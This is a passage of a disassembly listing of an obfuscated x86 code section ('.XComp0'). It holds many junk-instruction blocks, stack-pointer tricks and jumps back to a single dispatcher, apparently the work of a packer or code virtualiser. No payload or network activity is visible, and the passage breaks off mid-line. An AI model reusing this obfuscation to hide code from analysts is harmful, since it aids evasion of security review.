.XComp0:00592E48j push ecx mov cl, 2Fh sub al, cl pop ecx sub esp, 4 mov [esp], ebx mov bl, 82h dec bl jmp loc_595BBA ; --------------------------------------------------------------------------- loc_58F726: ; CODE XREF: .XComp0:00587BC9j pop ebx add eax, 213B77C0h add eax, 69D308F2h push dword ptr [esp] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add eax, ebx jmp loc_5962D7 ; --------------------------------------------------------------------------- loc_58F74F: ; CODE XREF: .XComp0:0058E65Ej add ecx, 4 sub ecx, 4 jmp loc_58DA4C ; --------------------------------------------------------------------------- loc_58F75D: ; CODE XREF: .XComp0:00593458j or ebx, 54652F87h inc ebx push ebp mov ebp, 70B77478h jmp loc_583DD3 ; --------------------------------------------------------------------------- loc_58F76F: ; CODE XREF: .XComp0:00597859j pop eax xchg edi, [esp] pop esp mov [esp], ecx push ebp mov ebp, 24h push ebp push ebp mov ebp, 730D244Fh add [esp+4], ebp pop ebp pop ecx sub ecx, 730D244Fh push dword ptr [esp] jmp loc_58EBFC ; --------------------------------------------------------------------------- loc_58F798: ; CODE XREF: .XComp0:00595401j mov edi, [esp] jmp loc_5862D2 ; --------------------------------------------------------------------------- loc_58F7A0: ; CODE XREF: .XComp0:0058B76Ej push 1914h jmp loc_58AA62 ; --------------------------------------------------------------------------- loc_58F7AA: ; CODE XREF: .XComp0:005946EEj add ebx, 3A223E79h add ebx, 0FFFFFFFFh xor ebx, 491C5878h xor ebx, 0BDAE119Fh jmp loc_597EEE ; --------------------------------------------------------------------------- loc_58F7C4: ; CODE XREF: .XComp0:00587665j shl edi, 8 jmp loc_591E93 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push 235Ch push esp pop dword ptr [esp] push esi mov esi, 4 sub dword ptr [esp+4], 13306679h sub dword ptr [esp+4], 1B4F39EFh add [esp+4], esi add dword ptr [esp+4], 1B4F39EFh jmp loc_58851D ; --------------------------------------------------------------------------- loc_58F801: ; CODE XREF: .XComp0:005870A1j mov [esp], eax push esp pop eax jmp loc_5960AF ; --------------------------------------------------------------------------- loc_58F80B: ; CODE XREF: .XComp0:00587FF2j pop eax jmp loc_593098 ; --------------------------------------------------------------------------- db 57h, 81h, 0ECh dd 4, 0FF669CE9h db 0FFh ; --------------------------------------------------------------------------- loc_58F81D: ; CODE XREF: .XComp0:0058C4B0j push ebp mov ebp, 628920D6h and eax, ebp pop ebp push esi mov esi, 6FFC351Ch sub esi, 5EAC0F1Eh add eax, 26D110EFh jmp loc_595331 ; --------------------------------------------------------------------------- loc_58F83C: ; CODE XREF: .XComp0:005924C5j push 1075h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 5CD5h mov [esp], ecx mov ecx, esp push 7BE7h mov [esp], esi mov esi, 35FA5972h push eax mov eax, 35FA596Eh sub esi, eax jmp loc_59809F ; --------------------------------------------------------------------------- loc_58F87C: ; CODE XREF: .XComp0:0058F1F9j push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_598FB8 ; --------------------------------------------------------------------------- loc_58F88E: ; CODE XREF: .XComp0:00599033j and ebp, 75342954h shl ebp, 8 xor ebp, 0EF8B929Ah add ebx, ebp pop ebp push ecx mov ecx, 47F52BC5h push edx mov edx, 6894001Ch sub ecx, edx pop edx jmp loc_58ECD8 ; --------------------------------------------------------------------------- loc_58F8B4: ; CODE XREF: .XComp0:00591746j push edx mov dh, 7 mov al, 0B7h add al, 0AFh sub al, dh sub al, 0AFh pop edx add ch, 0D5h jmp loc_596C6F ; --------------------------------------------------------------------------- mov ax, [esp] push eax jmp loc_58CCA1 ; --------------------------------------------------------------------------- loc_58F8D2: ; CODE XREF: .XComp0:00586A48j add ecx, 4 push ebx mov ebx, 594F23A0h shl ebx, 5 add ebx, 98874C5h and ebx, 0EA24143h or ebx, 7FD059F4h sub ebx, 7FF059F1h add ecx, ebx pop ebx xchg ecx, [esp] jmp loc_584CFF ; --------------------------------------------------------------------------- loc_58F904: ; CODE XREF: .XComp0:005899DAj push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_58FC38 ; --------------------------------------------------------------------------- loc_58F912: ; CODE XREF: .XComp0:005966FAj sub eax, ecx mov ecx, [esp] add esp, 4 sub eax, ecx push 3379h mov [esp], ebx mov ebx, 692A2738h add eax, ebx jmp loc_586FF1 ; --------------------------------------------------------------------------- loc_58F930: ; CODE XREF: .XComp0:005937A3j xor ebx, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58F940: ; CODE XREF: .XComp0:00598B33j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58F945: ; CODE XREF: .XComp0:00588E18j pop esp push ecx jmp loc_5872F1 ; --------------------------------------------------------------------------- loc_58F94C: ; CODE XREF: .XComp0:00589EF7j pop edx mov ecx, 0D2A0340Ch add ecx, esi pop esi and edi, ecx jmp loc_595F10 ; --------------------------------------------------------------------------- loc_58F95C: ; CODE XREF: .XComp0:0058E672j mov ecx, esp push eax push esi mov esi, 63A625ABh mov eax, 63A625AFh sub eax, esi pop esi add ecx, 3BDC12FFh add ecx, eax push eax jmp loc_58CF5E ; --------------------------------------------------------------------------- loc_58F97B: ; CODE XREF: .XComp0:005913B7j add ebp, 4 jmp loc_58D1FB ; --------------------------------------------------------------------------- loc_58F986: ; CODE XREF: .XComp0:00586AD8j mov ebp, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 jmp loc_59639D ; --------------------------------------------------------------------------- loc_58F9A1: ; CODE XREF: .XComp0:0058EC5Dj pop esi jmp loc_586F78 ; --------------------------------------------------------------------------- loc_58F9A7: ; CODE XREF: .XComp0:0058D11Aj push esi mov esi, 778555B2h jmp loc_58C15B ; --------------------------------------------------------------------------- loc_58F9B2: ; CODE XREF: .XComp0:005843ACj pop edx shr cl, 4 neg cl jmp loc_59169B ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp push ebp push eax push 5EB8h mov [esp], edi mov edi, 15DA28F3h mov eax, edi pop edi sub esp, 4 mov [esp], ebx mov ebx, eax mov ebp, ebx pop ebx mov eax, [esp] add esp, 4 jmp loc_589140 ; --------------------------------------------------------------------------- loc_58F9EC: ; CODE XREF: .XComp0:005840FAj push edx push 19F07F78h pop edx xor edx, 5EF05219h neg edx shl edx, 5 push ebx mov ebx, 0A394D9A5h sub edx, ebx pop ebx mov ecx, edx mov edx, [esp] add esp, 4 jmp loc_598169 ; --------------------------------------------------------------------------- loc_58FA17: ; CODE XREF: .XComp0:00585DE1j push dword ptr [esp] jmp loc_596360 ; --------------------------------------------------------------------------- loc_58FA1F: ; CODE XREF: .XComp0:0059565Ej dec edi shl edi, 4 or edi, 7D675FEFh jmp loc_586C97 ; --------------------------------------------------------------------------- loc_58FA2E: ; CODE XREF: .XComp0:0058ADE1j add edx, edi add edx, 36DC7ACBh mov edi, [esp] add esp, 4 jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58FA44: ; CODE XREF: .XComp0:00596488j neg ecx dec ecx jmp loc_58EA6C ; --------------------------------------------------------------------------- loc_58FA4C: ; CODE XREF: .XComp0:00597C7Ej push esi jmp loc_58F6CB ; --------------------------------------------------------------------------- loc_58FA52: ; CODE XREF: .XComp0:005893BFj pop dword ptr [esp] pop esp bt [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58FA61: ; CODE XREF: .XComp0:0058DD51j mov ebx, 156006Bh xor edx, ebx pop ebx push edx mov edx, 18D023CFh add edi, edx pop edx add edi, edx sub edi, 18D023CFh jmp loc_58A69B ; --------------------------------------------------------------------------- loc_58FA7F: ; CODE XREF: .XComp0:0058BBA0j mov eax, ecx pop ecx add ebp, eax jmp loc_588A3C ; --------------------------------------------------------------------------- loc_58FA89: ; CODE XREF: .XComp0:0058B65Aj pop esi not ecx push edx mov edx, 4D63192Eh sub edx, 26635945h shl edx, 3 push esi mov esi, 19D2581Eh jmp loc_5847F3 ; --------------------------------------------------------------------------- loc_58FAA6: ; CODE XREF: .XComp0:00584423j not ecx shl ecx, 5 add ecx, 65272D84h add eax, ecx pop ecx sub eax, 4 jmp loc_58FB27 ; --------------------------------------------------------------------------- loc_58FABE: ; CODE XREF: .XComp0:0058E74Bj or edx, esi pop esi jmp loc_59785E ; --------------------------------------------------------------------------- loc_58FAC6: ; CODE XREF: .XComp0:00586B1Ej add ebp, ebx pop ebx sub ebp, esi sub ebp, 130271D5h mov esi, [esp] jmp loc_5975CE ; --------------------------------------------------------------------------- loc_58FAD9: ; CODE XREF: .XComp0:0059404Dj push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_596F3E ; --------------------------------------------------------------------------- loc_58FAE7: ; CODE XREF: .XComp0:0059342Ej pop esp mov [esp], edx sub dword ptr [esp], 79E75895h pop ebp push 663Bh mov [esp], edi jmp loc_586737 ; --------------------------------------------------------------------------- loc_58FB00: ; CODE XREF: .XComp0:0059611Dj push edi jmp $+5 mov edi, 922FD3B5h add esi, edi pop edi jmp loc_5854D7 ; --------------------------------------------------------------------------- loc_58FB13: ; CODE XREF: .XComp0:00596387j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58A3CE ; --------------------------------------------------------------------------- loc_58FB27: ; CODE XREF: .XComp0:0058FAB9j xchg eax, [esp] pop esp mov [esp], esi mov esi, esp push edx jmp loc_58B713 ; --------------------------------------------------------------------------- loc_58FB36: ; CODE XREF: .XComp0:0058C7E9j sub cl, 6Ah jmp loc_58FE3C ; --------------------------------------------------------------------------- loc_58FB3E: ; CODE XREF: .XComp0:005983F8j mov edx, 16037CA5h jmp loc_58961A ; --------------------------------------------------------------------------- loc_58FB48: ; CODE XREF: .XComp0:00595075j add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp add edi, 2 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58FB71: ; CODE XREF: .XComp0:00592E15j pop edi push edi sub esp, 4 jmp loc_58D2B5 ; --------------------------------------------------------------------------- loc_58FB7B: ; CODE XREF: .XComp0:0058BC56j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] xor [esp], eax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58FBA5: ; CODE XREF: .XComp0:00589323j add esi, 4 sub esi, 2 jmp loc_595663 ; --------------------------------------------------------------------------- loc_58FBB6: ; CODE XREF: .XComp0:005876ABj pop ebp sub edx, 238F5548h sub edx, ecx add edx, 238F5548h push dword ptr [esp] pop ecx push 3EEDh mov [esp], esi push esp pop esi add esi, 4 push eax mov eax, 4 jmp loc_590415 ; --------------------------------------------------------------------------- loc_58FBE4: ; CODE XREF: .XComp0:00596CFDj mov edx, [esp] jmp loc_595406 ; --------------------------------------------------------------------------- loc_58FBEC: ; CODE XREF: .XComp0:00584B82j mov [esp], eax push 2B17h mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push ecx jmp loc_58DDEF ; --------------------------------------------------------------------------- loc_58FC0A: ; CODE XREF: .XComp0:0059167Ej sub al, dh mov edx, [esp] add esp, 4 jmp loc_58D775 ; --------------------------------------------------------------------------- loc_58FC17: ; CODE XREF: .XComp0:0058B70Ej mov ecx, edi mov edx, ecx pop ecx push edx add dword ptr [esp], 3368446Dh pop ebx sub ebx, 3368446Dh jmp loc_58584D ; --------------------------------------------------------------------------- loc_58FC30: ; CODE XREF: .XComp0:0059493Aj add ecx, edi pop edi jmp loc_58590E ; --------------------------------------------------------------------------- loc_58FC38: ; CODE XREF: .XComp0:0058F90Dj add esp, 4 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esp jmp loc_58E677 ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp sub esp, 4 mov [esp], edi mov edi, 4 add esi, edi pop edi push edx jmp loc_5929DF ; --------------------------------------------------------------------------- loc_58FC7A: ; CODE XREF: .XComp0:005981E5j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58FC7F: ; CODE XREF: .XComp0:005863C4j and ebp, 48590B90h shr ebp, 6 dec ebp sub ebp, 0C0140FCAh push eax mov eax, 347E1E2Dh and ebp, eax pop eax xor ebp, 0B4D8FC3Eh add edx, ebp pop ebp jmp loc_591804 ; --------------------------------------------------------------------------- loc_58FCA6: ; CODE XREF: .XComp0:00597984j pop dword ptr [esp] mov esp, [esp] jmp loc_58595A ; --------------------------------------------------------------------------- loc_58FCB1: ; CODE XREF: .XComp0:00598B97j add ebp, 0FFF7EC00h push 148Dh mov [esp], ebp sub dword ptr [esp], 2C2B2FFDh pop edx add edx, 2C2B2FFDh jmp loc_5926F1 ; --------------------------------------------------------------------------- loc_58FCD2: ; CODE XREF: .XComp0:00591E8Ej push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push 6EC6h mov [esp], ecx jmp loc_58A935 ; --------------------------------------------------------------------------- loc_58FCEB: ; CODE XREF: .XComp0:00589387j xor eax, [esp] jmp loc_591B93 ; --------------------------------------------------------------------------- loc_58FCF3: ; CODE XREF: .XComp0:0058F091j mov [esp], esi jmp loc_598E1E ; --------------------------------------------------------------------------- loc_58FCFB: ; CODE XREF: .XComp0:00592F2Ej pop ecx pop edi push eax mov eax, 48223389h neg eax add eax, 4822338Dh add edi, eax jmp loc_5855A9 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_587F5B ; --------------------------------------------------------------------------- lodsd push edi mov edi, 60D658DBh xchg ecx, edi jmp loc_5908B7 ; --------------------------------------------------------------------------- loc_58FD3A: ; CODE XREF: .XComp0:00587F13j pop ebx mov eax, ebp jmp loc_5848F3 ; --------------------------------------------------------------------------- loc_58FD42: ; CODE XREF: .XComp0:005944C4j push eax jmp loc_58C511 ; --------------------------------------------------------------------------- loc_58FD48: ; CODE XREF: .XComp0:005950B4j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 4EEEh mov [esp], ecx mov ecx, 2719734Eh jmp loc_590FA3 ; --------------------------------------------------------------------------- loc_58FD67: ; CODE XREF: .XComp0:0058449Aj push 1F6D363Ch pop ebp jmp loc_58DE02 ; --------------------------------------------------------------------------- loc_58FD72: ; CODE XREF: .XComp0:0058CB16j push edi mov edi, esp jmp loc_585502 ; --------------------------------------------------------------------------- loc_58FD7A: ; CODE XREF: .XComp0:0058582Fj push esi push 2704h mov [esp], edx mov edx, 2A222Eh mov esi, 0FFD5DDD6h add esi, edx pop edx add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_596E86 ; --------------------------------------------------------------------------- loc_58FDB6: ; CODE XREF: .XComp0:005964F9j push ebp xor dword ptr [esp], 3A11CD3h pop edi jmp loc_585E10 ; --------------------------------------------------------------------------- loc_58FDC4: ; CODE XREF: .XComp0:005891F7j push ebp mov ebp, 31A1484Ch shr ebp, 6 not ebp jmp loc_597682 ; --------------------------------------------------------------------------- loc_58FDD4: ; CODE XREF: .XComp0:00587643j mov edi, [esp] add esp, 4 jmp loc_597548 ; --------------------------------------------------------------------------- loc_58FDDF: ; CODE XREF: .XComp0:005920CCj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_583B37 ; --------------------------------------------------------------------------- loc_58FDEB: ; CODE XREF: .XComp0:00592582j sub esp, 4 jmp loc_58B398 ; --------------------------------------------------------------------------- loc_58FDF3: ; CODE XREF: .XComp0:00593B7Fj push esp pop dword ptr [esp] push 264h mov [esp], ecx mov ecx, 4 add [esp+4], ecx push dword ptr [esp] jmp loc_590F32 ; --------------------------------------------------------------------------- loc_58FE10: ; CODE XREF: .XComp0:005848D6j mov cl, 9Ch sub esp, 2 jmp loc_589874 ; --------------------------------------------------------------------------- loc_58FE1A: ; CODE XREF: .XComp0:0058AF2Bj pop dword ptr [esp] mov esp, [esp] jmp loc_58E26B ; --------------------------------------------------------------------------- loc_58FE25: ; CODE XREF: .XComp0:005976ECj mov eax, 0A0A4D78h add eax, 0F5F5B28Ch sub esi, eax mov eax, [esp] add esp, 4 jmp loc_58F641 ; --------------------------------------------------------------------------- loc_58FE3C: ; CODE XREF: .XComp0:0058FB39j sub cl, 31h sub bl, cl pop ecx sub al, bl pop ebx push small 3F27h mov [esp], cx push 4455h mov [esp], edx mov dh, 0CEh push ebx jmp loc_585545 ; --------------------------------------------------------------------------- loc_58FE5D: ; CODE XREF: .XComp0:00590BE2j sub esi, ebx pop ebx jmp loc_594EFD ; --------------------------------------------------------------------------- loc_58FE65: ; CODE XREF: .XComp0:00598B07j pop esp mov bp, si mov esi, [esp] add esp, 4 jmp loc_59870A ; --------------------------------------------------------------------------- loc_58FE77: ; CODE XREF: .XComp0:00596EF9j or ecx, 35183901h jmp loc_58C44C ; --------------------------------------------------------------------------- loc_58FE82: ; CODE XREF: .XComp0:0059892Dj mov edx, 5F4C1704h add dword ptr [esp+8], 7FDF121Dh sub [esp+8], edx jmp loc_58CE21 ; --------------------------------------------------------------------------- loc_58FE98: ; CODE XREF: .XComp0:00589A77j push esi push 5B80h mov [esp], esp add dword ptr [esp], 4 pop esi push edi mov edi, 4 add esi, 787C7747h add esi, edi sub esi, 787C7747h pop edi push 2969h mov [esp], ecx push 473h mov [esp], edx jmp loc_58CF4C ; --------------------------------------------------------------------------- loc_58FED3: ; CODE XREF: .XComp0:005842B3j mov ebp, 5EC97638h jmp loc_5942EC ; --------------------------------------------------------------------------- loc_58FEDD: ; CODE XREF: .XComp0:00590570j mov [esp], edx push eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58FEE7: ; CODE XREF: .XComp0:00590ADEj push edi mov edi, 0AC1593Eh xor edi, 69813212h or ebp, edi mov edi, [esp] add esp, 4 jmp loc_58C6A2 ; --------------------------------------------------------------------------- loc_58FF00: ; CODE XREF: .XComp0:00591696j add ebx, esi jmp loc_58E651 ; --------------------------------------------------------------------------- loc_58FF07: ; CODE XREF: .XComp0:00598BFEj mov eax, [esp] add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] pop dword ptr [esp] xor edi, eax xor eax, edi xor edi, eax jmp loc_587FF7 ; --------------------------------------------------------------------------- loc_58FF27: ; CODE XREF: .XComp0:0058C888j sub edi, ecx add edi, 20B97CF2h pop ecx add edi, 564A3A2Fh add edi, 0A688910Eh sub ecx, edi jmp loc_59371C ; --------------------------------------------------------------------------- loc_58FF43: ; CODE XREF: .XComp0:00595031j neg ebp push edx mov edx, 483514C4h sub ebp, edx pop edx sub ebp, 5588B095h sub ebx, ebp jmp loc_584F36 ; --------------------------------------------------------------------------- loc_58FF5B: ; CODE XREF: .XComp0:00590410j sub ebx, 5FA75D01h sub ebx, esi push esi mov esi, 5FA75D01h add ebx, esi jmp loc_590DC0 ; --------------------------------------------------------------------------- loc_58FF70: ; CODE XREF: .XComp0:00590426j and eax, 12D7382Fh neg eax shl eax, 1 add eax, 408DCF8Bh add ebx, eax pop eax add ebx, 610514CFh add ebx, eax sub ebx, 610514CFh push edx push eax mov eax, 54DB4BB2h and eax, 36C27B95h sub eax, 66017452h xor eax, 544B4933h add eax, 44D3D122h mov edx, eax jmp loc_589E87 ; --------------------------------------------------------------------------- loc_58FFB1: ; CODE XREF: .XComp0:00595C29j mov ecx, 33E806E0h neg ecx jmp loc_591463 ; --------------------------------------------------------------------------- loc_58FFBD: ; CODE XREF: .XComp0:00584411j xor ebx, 61434188h inc ebx sub ebx, 7D1D811Fh add edi, ebx jmp loc_58EA16 ; --------------------------------------------------------------------------- loc_58FFD1: ; CODE XREF: .XComp0:005878FEj xchg ebx, [esp] pop esp add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp or eax, eax jz loc_584765 push dword ptr [edi+28h] push 522Eh mov [esp], eax push 245D626Fh mov eax, [esp] add esp, 4 xor [esp+4], eax jmp loc_59456A ; --------------------------------------------------------------------------- loc_590009: ; CODE XREF: .XComp0:005909DCj sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] add esp, 4 push ebp mov ebp, 4E0D755Ah sub ebp, 683A7512h jmp loc_585EF3 ; --------------------------------------------------------------------------- loc_59002D: ; CODE XREF: .XComp0:005866FDj pop ecx sub edi, 4 push 3C5h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_58BC32 ; --------------------------------------------------------------------------- loc_590046: ; CODE XREF: .XComp0:00596538j add eax, 1AD86B55h add [eax], ecx pop eax mov ecx, [esp] add esp, 4 loc_590057: ; CODE XREF: .XComp0:00590A6Ej push esi push esp jmp loc_59131D ; --------------------------------------------------------------------------- loc_59005E: ; CODE XREF: .XComp0:00592633j sub esi, 41614D8Eh add esi, 4F6C70EEh add esi, edx jmp loc_585B4C ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_58B936 ; --------------------------------------------------------------------------- loc_59007B: ; CODE XREF: .XComp0:00591E99j add edi, 172140C1h add edx, edi jmp loc_5900A4 ; --------------------------------------------------------------------------- loc_590088: ; CODE XREF: .XComp0:00588FCEj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_589E40 ; --------------------------------------------------------------------------- loc_59009A: ; CODE XREF: .XComp0:005970B4j sub edx, eax pop eax add eax, edx jmp loc_595A2C ; --------------------------------------------------------------------------- loc_5900A4: ; CODE XREF: .XComp0:00590083j pop edi pop ebx add edx, 4 xchg edx, [esp] pop esp push 5D35h mov [esp], ecx push 6BD2h jmp loc_595BDE ; --------------------------------------------------------------------------- loc_5900C2: ; CODE XREF: .XComp0:00589300j push esp pop edx jmp loc_590DF7 ; --------------------------------------------------------------------------- loc_5900C9: ; CODE XREF: .XComp0:00590916j mov [esp], eax jmp loc_592025 ; --------------------------------------------------------------------------- loc_5900D1: ; CODE XREF: .XComp0:0058AF4Aj add ch, 99h push eax mov ah, 50h jmp loc_5891C3 ; --------------------------------------------------------------------------- loc_5900DC: ; CODE XREF: .XComp0:0058C998j mov ebp, 4D48736Ah push 464Fh jmp loc_595248 ; --------------------------------------------------------------------------- loc_5900EB: ; CODE XREF: .XComp0:0058C665j push 379C1C2Ch pop esi jmp loc_5906D9 ; --------------------------------------------------------------------------- loc_5900F6: ; CODE XREF: .XComp0:0058D73Bj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push ecx mov cl, 0F3h mov bh, cl jmp loc_58A799 ; --------------------------------------------------------------------------- loc_59010A: ; CODE XREF: .XComp0:0058900Bj mov edi, 4 jmp loc_592E60 ; --------------------------------------------------------------------------- loc_590114: ; CODE XREF: .XComp0:0059814Dj push dword ptr [esp] jmp loc_591647 ; --------------------------------------------------------------------------- loc_59011C: ; CODE XREF: .XComp0:0058D93Ej push ebx jmp loc_592688 ; --------------------------------------------------------------------------- loc_590122: ; CODE XREF: .XComp0:0058A213j shr esi, 6 shr esi, 6 xor esi, 478DAh mov eax, esi pop esi add ecx, eax mov eax, [esp] add esp, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push ecx jmp loc_5907BE ; --------------------------------------------------------------------------- loc_59014C: ; CODE XREF: .XComp0:00593585j push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_587A19 ; --------------------------------------------------------------------------- loc_590158: ; CODE XREF: .XComp0:005890E5j pop edx pop ecx xor [esp+4], edx jmp loc_59241B ; --------------------------------------------------------------------------- loc_590163: ; CODE XREF: .XComp0:00587A33j push esp pop ebp add ebp, 4 push edi mov edi, 76AB0B0Ch neg edi sub edi, 1F6B50DAh inc edi add edi, 96165BE9h add ebp, edi pop edi xchg ebp, [esp] jmp loc_592FF1 ; --------------------------------------------------------------------------- loc_59018B: ; CODE XREF: .XComp0:005968DCj pop esp dec eax push 2946h mov [esp], eax not dword ptr [esp] pop eax sub eax, 45FE1B9Bh sub edx, eax pop eax mov ebx, edx pop edx sub esp, 4 mov [esp], eax mov eax, 3D83501Dh sub ebx, eax pop eax add ebx, 2B992908h add ebx, eax sub ebx, 2B992908h add ebx, 3D83501Dh push ecx pop dword ptr [ebx] jmp loc_5889E5 ; --------------------------------------------------------------------------- loc_5901D1: ; CODE XREF: .XComp0:00589861j mov edx, 14F61922h shl edx, 4 inc edx jmp loc_596083 ; --------------------------------------------------------------------------- loc_5901DF: ; CODE XREF: .XComp0:0058DD06j push eax jmp loc_5877D2 ; --------------------------------------------------------------------------- loc_5901E5: ; CODE XREF: .XComp0:00596589j push eax jmp loc_586B7B ; --------------------------------------------------------------------------- loc_5901EB: ; CODE XREF: .XComp0:00598B3Fj mov [esp], dx push ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5901F7: ; CODE XREF: .XComp0:0058C8F6j push ebx push edi mov edi, ecx mov ebx, edi pop edi mov edx, ebx jmp loc_5943A4 ; --------------------------------------------------------------------------- loc_590205: ; CODE XREF: .XComp0:005978EFj pop ebx push 3023h mov [esp], ebp mov ebp, 4 add ebx, ebp pop ebp push eax mov eax, 7D5003A7h add eax, 82AFFC5Bh push eax mov eax, 77115B22h or eax, 9871FDBh jmp loc_590421 ; --------------------------------------------------------------------------- loc_590231: ; CODE XREF: .XComp0:0058C11Cj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590236: ; CODE XREF: .XComp0:0058A53Ej pop ecx sub ebp, 5F3852AAh sub ebp, 4E56022Ah add ebp, eax add ebp, 4E56022Ah push edx mov edx, 36132902h sub edx, 7D0747C7h inc edx add edx, 0A62C716Eh add ebp, edx pop edx mov eax, [esp] jmp loc_58568B ; --------------------------------------------------------------------------- loc_590269: ; CODE XREF: .XComp0:00595D50j mov edx, 40C15F51h or edx, 1ABC6B27h jmp loc_58D12E ; --------------------------------------------------------------------------- loc_590279: ; CODE XREF: .XComp0:00589EB0j xchg ebp, [esp] pop esp push ebx jmp loc_58ABBB ; --------------------------------------------------------------------------- loc_590283: ; CODE XREF: .XComp0:00584DE6j mov [esp], ebp jmp loc_594DFC ; --------------------------------------------------------------------------- loc_59028B: ; CODE XREF: .XComp0:005933BCj add eax, 4 xchg eax, [esp] pop esp add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov ax, [esp] push edi push 3CECh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] jmp loc_58F41F ; --------------------------------------------------------------------------- loc_5902BD: ; CODE XREF: .XComp0:0058676Cj sub ebx, 4E06B01Eh jmp loc_58B6B5 ; --------------------------------------------------------------------------- loc_5902C8: ; CODE XREF: .XComp0:00585F45j mov eax, 4 add esi, eax pop eax add esi, 4 xchg esi, [esp] jmp loc_58E5DB ; --------------------------------------------------------------------------- loc_5902DB: ; CODE XREF: .XComp0:005896D2j mov ecx, 0BF34DE27h xor edx, ecx jmp loc_58412C ; --------------------------------------------------------------------------- loc_5902E7: ; CODE XREF: .XComp0:00588A83j mov [esp], edx jmp loc_588429 ; --------------------------------------------------------------------------- loc_5902EF: ; CODE XREF: .XComp0:00594565j mov eax, 5F325BE2h not eax jmp loc_595FFE ; --------------------------------------------------------------------------- loc_5902FB: ; CODE XREF: .XComp0:00586474j pop edi add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_58519F ; --------------------------------------------------------------------------- loc_59030A: ; CODE XREF: .XComp0:005881EFj push ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590312: ; CODE XREF: .XComp0:005985F7j push ecx jmp loc_58E39D ; --------------------------------------------------------------------------- loc_590318: ; CODE XREF: .XComp0:00597E93j xor ecx, ebp pop ebp inc ecx not ecx add ecx, 72692237h xor eax, ecx pop ecx xor ebx, eax pop eax sub ebx, 0F851750Eh push 7853h mov [esp], ebx mov esi, [esp] jmp loc_590FDA ; --------------------------------------------------------------------------- loc_590340: ; CODE XREF: .XComp0:00596F31j mov bl, dl jmp loc_5891B0 ; --------------------------------------------------------------------------- loc_590347: ; CODE XREF: .XComp0:0058D21Aj pop edx jmp loc_58786E ; --------------------------------------------------------------------------- loc_59034D: ; CODE XREF: .XComp0:00594781j xchg ebx, [esp] pop esp push 70E1h jmp loc_58F54D ; --------------------------------------------------------------------------- loc_59035B: ; CODE XREF: .XComp0:00591C18j sub ecx, 16096312h jmp loc_588455 ; --------------------------------------------------------------------------- loc_590366: ; CODE XREF: .XComp0:0058E6AFj mov ebp, [esp] add esp, 4 pop eax sub eax, 5FCA5C12h sub eax, ecx add eax, 5FCA5C12h mov ecx, [esp] sub esp, 4 jmp loc_58499F ; --------------------------------------------------------------------------- loc_59038A: ; CODE XREF: .XComp0:00585389j pop edx sub [edi+24h], esi mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_585375 ; --------------------------------------------------------------------------- loc_5903A9: ; CODE XREF: .XComp0:00596FFCj push 33D5h jmp loc_58BBD2 ; --------------------------------------------------------------------------- loc_5903B3: ; CODE XREF: .XComp0:0058A55Dj add ebx, 21674738h add ebx, 3DD6936h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg ebx, [esp] jmp loc_588A9A ; --------------------------------------------------------------------------- loc_5903DD: ; CODE XREF: .XComp0:0058C9B1j mov esi, 4 push eax mov eax, 31AE7B0Dh add ecx, eax pop eax push edx jmp loc_597178 ; --------------------------------------------------------------------------- loc_5903F1: ; CODE XREF: 